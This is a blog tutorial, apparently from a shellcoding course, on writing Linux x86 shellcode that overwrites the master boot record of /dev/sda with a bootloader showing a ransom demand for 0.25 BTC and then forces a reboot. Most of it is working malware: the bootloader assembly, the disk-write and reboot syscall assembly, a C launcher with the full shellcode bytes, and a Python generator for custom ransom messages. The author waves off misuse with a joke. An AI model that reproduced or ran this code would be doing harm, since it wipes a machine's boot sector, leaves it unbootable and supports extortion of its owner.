Extorting the Ransom with Simple Shellcode

Hi!

Today we are going to have some fun with shellcoding again. I think that I am still just a script-kiddie in this topic, but why not?

Ladies and Gentlemen, today we will write our own shellcode that rewrites MBR and causes a reboot to show us some message! I remember my delight when I met the Petya ransomware for the first time, so, today we will implement something like that.

Perhaps, you can say that… This is unethical! Black-hats will read this and use this code in their operations!

And here is what I will answer you:

And - finally - if you are really going to use all this stuff in your malicious operations - go and find a girlfriend first! :D

Real Mode

Well, now we can get down to business.

The bootloader runs in the real mode and that sufficiently changes game rules. For example, there are no int 0x80 interruptions, because they are provided by the OS and - this is obvious - on the bootloader stage we don’t have OS available.

I won’t give you comprehensive info about that, but here is the code for my own bootloader:

org 0x7c00    ; address of this code in memory
bits 16       ; just 16-bit code

; set text mode
mov ah, 0x00
mov al, 0x03
int 0x10

; scroll up the screen
mov ax, 0x0600
mov bh, 0x1f
xor cx, cx
mov dx, 0x184f
int 0x10

; print message
mov bx, message
call print

; infinite loop
jmp $ 

print:
    print_start:
        mov al, byte [bx]

        or al, al
        jz print_ret            

        mov ah, 0x0e
        int 0x10

        inc bx
        
        
        mov dx, 0x4240
        mov cx, 0x01
        mov ah, 0x86
        
        int 0x15
        
        jmp print_start

    print_ret:
        ret

message: db "Your device has been locked.", 0x0a, 0x0d, "Any unauthorized attempt to restore your data will lead to complete", 0x0a, 0x0d, "destruction of all information stored on your PC.", 0x0a, 0x0d, 0x0a, 0x0d, "In order to unlock your device, please, send 0.25 BTC on the listed below", 0x0a, 0x0d, "Bitcoin Wallet:", 0x0a, 0x0d, "1DXKL99n5xszuz7xbkM2jU8y27C5qG1Wet", 0x0a, 0x0d, 0x00

; Fill all space between the code and boot signature with 0x00
times 510 - ($ - $$) db 0x00

; Boot sector signature
dw 0xaa55    

This code prints our extorting message to the screen and performs infinite loop to stop any further actions.

This wasn’t an easy task to find some info about BIOS interruptions like int 0x10 and int 0x15, but these two resources helped me a lot.

If you compile this code with nasm -f bin loader.asm -o loader.bin, you will get a 512-bytes long binary that actually is our bootloader. You can check it with dd if=loader.bin of=/dev/sda count=1 bs=512.

Be careful! This action will rewrite your original bootloader and you will lose an ability to boot in your OS.

If you open ‘loader.bin’ with some hex-editor, you will see something like that:

german@slae-lab:~$ xxd loader.bin 
0000000: b400 b003 cd10 b800 06b7 1f31 c9ba 4f18  ...........1..O.
0000010: cd10 bb32 7ce8 0200 ebfe 8a07 08c0 7411  ...2|.........t.
0000020: b40e cd10 43ba 4042 b901 00b4 86cd 15eb  ....C.@B........
0000030: e9c3 596f 7572 2064 6576 6963 6520 6861  ..Your device ha
0000040: 7320 6265 656e 206c 6f63 6b65 642e 0a0d  s been locked...
0000050: 416e 7920 756e 6175 7468 6f72 697a 6564  Any unauthorized
0000060: 2061 7474 656d 7074 2074 6f20 7265 7374   attempt to rest
0000070: 6f72 6520 796f 7572 2064 6174 6120 7769  ore your data wi
0000080: 6c6c 206c 6561 6420 746f 2063 6f6d 706c  ll lead to compl
0000090: 6574 650a 0d64 6573 7472 7563 7469 6f6e  ete..destruction
00000a0: 206f 6620 616c 6c20 696e 666f 726d 6174   of all informat
00000b0: 696f 6e20 7374 6f72 6564 206f 6e20 796f  ion stored on yo
00000c0: 7572 2050 432e 0a0d 0a0d 496e 206f 7264  ur PC.....In ord
00000d0: 6572 2074 6f20 756e 6c6f 636b 2079 6f75  er to unlock you
00000e0: 7220 6465 7669 6365 2c20 706c 6561 7365  r device, please
00000f0: 2c20 7365 6e64 2030 2e32 3520 4254 4320  , send 0.25 BTC 
0000100: 6f6e 2074 6865 206c 6973 7465 6420 6265  on the listed be
0000110: 6c6f 770a 0d42 6974 636f 696e 2057 616c  low..Bitcoin Wal
0000120: 6c65 743a 0a0d 3144 584b 4c39 396e 3578  let:..1DXKL99n5x
0000130: 737a 757a 3778 626b 4d32 6a55 3879 3237  szuz7xbkM2jU8y27
0000140: 4335 7147 3157 6574 0a0d 0000 0000 0000  C5qG1Wet........
0000150: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000160: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000170: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000180: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000190: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00001a0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00001b0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00001c0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00001d0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00001e0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00001f0: 0000 0000 0000 0000 0000 0000 0000 55aa  ..............U.

So, now we should write protected mode part for our shellcode that will write this bootloader into the ‘/dev/sda’ block device.

Protected Mode

This is the main part of our shellcode. We must implement SYS_OPEN, SYS_WRITE and SYS_REBOOT calls in our code. Let’s do it step by step.

SYS_OPEN

Well, nothing hard here:

    pop esi
    xor eax, eax
    push eax

    push dword '/sda'
    push dword '/dev'

    mov ebx, esp
    mov ecx, 0x0401     ; write-only flags
    mov eax, 0x05

    int 0x80            ; SYS_OPEN
    mov ebx, eax        ; EBX stores file descriptor

The only part where I had some troubles was the flags for SYS_OPEN call. You can get the list of possible flags here: ‘/usr/include/asm-generic/fcntl.h’.

In our case 0x0401 = 0x0400 + 0x0001 = O_NOCTTY + O_WRONLY. O_NOCTTY means that our file won’t be used as TTY and won’t accept any controlling signals like SIGHUP and other. Actually, I don’t know how this can make any troubles for our shellcode, but you can see it in every file read/write shellcode or program.

Let’s take a look on the second part.

SYS_WRITE

    mov ecx, esi
    mov edx, 0xff       ; 255 bytes to be written into /dev/sda
    mov eax, 0x04

    int 0x80            ; SYS_WRITE

Not so hard too. The ‘loader’ just points on our bootloader bytes, 0xff is bootloader length.

SYS_FSYNC & SYS_CLOSE

    mov eax, 0x76       ; SYS_FSYNC
    int 0x80
    
    mov eax, 0x06
    int 0x80            ; SYS_CLOSE

I completely forgot about this part. If you run the final shellcode without SYS_FSYNC call, you will get nothing, because all your MBR changes actually will not be applied.

Also, SYS_CLOSE call doesn’t matter, but we are a nice guys and will always close file descriptors after work, aren’t we? :)

SYS_REBOOT

Actually, here is another way to cause system reboot. We can use SYS_EXECVE to call ‘reboot’ program that makes all necessary stuff for us. But I was interested in another way - implementing reboot via native syscall.

And I found suitable one! SYS_REBOOT allows us to force reboot system. Here is the nasm code:

    mov ebx, 0xfee1dead ; magic number 1
    mov ecx, 0x28121969 ; magic number 2
    mov edx, 0x1234567  ; LINUX_REBOOT_CMD_RESTART command
    mov eax,  0x58

    int 0x80            ; SYS_REBOOT

Can’t say that it was easy. There is some pure magic in this syscall - magic numbers 1 and 2. You can read more about them here.

Ok, let’s see the whole picture:

global _start

section .text

_start:
    jmp loader

    body:
    pop esi

    xor eax, eax
    push eax

    push dword '/sda'   ; device to rewrite boot record
    push dword '/dev'    

    mov ebx, esp
    mov ecx, 0x0401     ; write-only flags
    mov eax, 0x05
 
    int 0x80            ; SYS_OPEN
    mov ebx, eax        ; EBX stores file descriptor
  
    mov ecx, esi
    mov edx, 0x200       ; 512 bytes to be written into /dev/sda
    mov eax, 0x04

    int 0x80            ; SYS_WRITE


    mov eax, 0x76       ; SYS_FSYNC
    int 0x80
    
    mov eax, 0x06
    int 0x80            ; SYS_CLOSE


    mov ebx, 0xfee1dead ; magic number 1
    mov ecx, 0x28121969 ; magic number 2
    mov edx, 0x1234567  ; LINUX_REBOOT_CMD_RESTART command
    mov eax, 0x58

    int 0x80            ; SYS_REBOOT

loader: 
    call body
    db 0xAA, 0xBB, 0xCC ; paste your loader here

There are some problems with ‘objdump’ and bootloader disassembly, so, I compiled this version (with 0xAA, 0xBB, 0xCC instead of proper bootloader), created the shellcode with an ‘objdump’, and pasted bootloader bytes instead of 0xAA, 0xBB, 0xCC.

This allowed me to create proper working shellcode and launch it from specially crafted C-program.

Generator

Here is a code of executor program with embedded shellcode:

#include<stdio.h>
#include<string.h>

unsigned char shellcode[] = 
"\xeb\x52\x31\xc0\x5e\x31\xc0\x50\x68\x2f\x73\x64\x61\x68\x2f\x64\x65\x76\x89\xe3\xb9\x01\x04\x00\x00\xb8\x05\x00\x00\x00\xcd\x80\x89\xc3\x89\xf1\xba\x00\x02\x00\x00\xb8\x04\x00\x00\x00\xcd\x80\xb8\x76\x00\x00\x00\xcd\x80\xb8\x06\x00\x00\x00\xcd\x80\xbb\xad\xde\xe1\xfe\xb9\x69\x19\x12\x28\xba\x67\x45\x23\x01\xb8\x58\x00\x00\x00\xcd\x80\xe8\xa9\xff\xff\xff\xb8\x03\x00\xcd\x10\xb8\x00\x06\xb7\x1f\x31\xc9\xba\x4f\x18\xcd\x10\xbb\x31\x7c\xe8\x02\x00\xeb\xfe\x8a\x07\x08\xc0\x74\x11\xb4\x0e\xcd\x10\x43\xba\x40\x42\xb9\x01\x00\xb4\x86\xcd\x15\xeb\xe9\xc3\x59\x6f\x75\x72\x20\x64\x65\x76\x69\x63\x65\x20\x68\x61\x73\x20\x62\x65\x65\x6e\x20\x6c\x6f\x63\x6b\x65\x64\x2e\x0d\x0a\x41\x6e\x79\x20\x75\x6e\x61\x75\x74\x68\x6f\x72\x69\x7a\x65\x64\x20\x61\x74\x74\x65\x6d\x70\x74\x20\x74\x6f\x20\x72\x65\x73\x74\x6f\x72\x65\x20\x79\x6f\x75\x72\x20\x64\x61\x74\x61\x20\x77\x69\x6c\x6c\x20\x6c\x65\x61\x64\x20\x74\x6f\x0d\x0a\x63\x6f\x6d\x70\x6c\x65\x74\x65\x20\x64\x65\x73\x74\x72\x75\x63\x74\x69\x6f\x6e\x20\x6f\x66\x20\x61\x6c\x6c\x20\x69\x6e\x66\x6f\x72\x6d\x61\x74\x69\x6f\x6e\x20\x73\x74\x6f\x72\x65\x64\x20\x6f\x6e\x20\x79\x6f\x75\x72\x20\x50\x43\x2e\x0d\x0a\x0d\x0a\x49\x6e\x20\x6f\x72\x64\x65\x72\x20\x74\x6f\x20\x75\x6e\x6c\x6f\x63\x6b\x20\x79\x6f\x75\x72\x20\x64\x65\x76\x69\x63\x65\x2c\x20\x70\x6c\x65\x61\x73\x65\x2c\x20\x73\x65\x6e\x64\x20\x30\x2e\x32\x35\x20\x42\x54\x43\x20\x6f\x6e\x20\x74\x68\x65\x20\x6c\x69\x73\x74\x65\x64\x20\x62\x65\x6c\x6f\x77\x0d\x0a\x42\x69\x74\x63\x6f\x69\x6e\x20\x57\x61\x6c\x6c\x65\x74\x3a\x0d\x0a\x31\x44\x58\x4b\x4c\x39\x39\x6e\x35\x78\x73\x7a\x75\x7a\x37\x78\x62\x6b\x4d\x32\x6a\x55\x38\x79\x32\x37\x43\x35\x71\x47\x31\x57\x65\x74\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x55\xaa";

int main()
{
    int (*ret)() = (int(*)())shellcode;
 
    ret();
}

This works fine, but this is absolutely uncustomizable. That is why I decided to build generator script.

I compiled both of asm programs, created shellcodes and pasted them into this python script. Here is a result:

mbr_loader = ""
mbr_loader += "\xb8\x03\x00\xcd\x10\xb8\x00\x06\xb7\x1f\x31\xc9\xba\x4f\x18\xcd"
mbr_loader += "\x10\xbb\x31\x7c\xe8\x02\x00\xeb\xfe\x8a\x07\x08\xc0\x74\x11\xb4"
mbr_loader += "\x0e\xcd\x10\x43\xba\x40\x42\xb9\x01\x00\xb4\x86\xcd\x15\xeb\xe9"
mbr_loader += "\xc3" 

mbr_message = "Your device has been locked.\r\nAny unauthorized attempt to restore your data will lead to\r\ncomplete destruction of all information stored on your PC.\r\n\r\nIn order to unlock your device, please, send 0.25 BTC on the listed below\r\nBitcoin Wallet:\r\n1DXKL99n5xszuz7xbkM2jU8y27C5qG1Wet"

mbr_trailer = "\x00" * (510 - len(mbr_loader) - len(mbr_message)) + "\x55\xaa"

mbr = mbr_loader + mbr_message + mbr_trailer

writer = ""
writer += "\xeb\x52\x31\xc0\x5e\x31\xc0\x50\x68\x2f\x73\x64\x61\x68\x2f\x64"
writer += "\x65\x76\x89\xe3\xb9\x01\x04\x00\x00\xb8\x05\x00\x00\x00\xcd\x80"
writer += "\x89\xc3\x89\xf1\xba\x00\x02\x00\x00\xb8\x04\x00\x00\x00\xcd\x80"
writer += "\xb8\x76\x00\x00\x00\xcd\x80\xb8\x06\x00\x00\x00\xcd\x80\xbb\xad"
writer += "\xde\xe1\xfe\xb9\x69\x19\x12\x28\xba\x67\x45\x23\x01\xb8\x58\x00"
writer += "\x00\x00\xcd\x80\xe8\xa9\xff\xff\xff"
writer += mbr


shellcode = ""
for b in writer:
    shellcode += '\\x%02x' % ord(b)

print '"' + shellcode + '";'

The mbr_loader is a bootloader itself that prints the message (mbr_message) on the screen. The writer is a part that writes loader into MBR. Together it gives us full shellcode that rewrites MBR and extort our ransom.

Conclusion

Shellcoding is awesome and allows you to create awesome things. To see what happens with real machine where this shellcode is executed, I created this demo:


All code is located here.

Good Luck!

The end

comments powered by Disqus